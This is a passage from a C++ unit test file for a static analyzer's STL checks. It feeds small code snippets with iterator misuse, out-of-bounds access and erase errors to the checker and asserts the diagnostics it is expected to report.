std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch 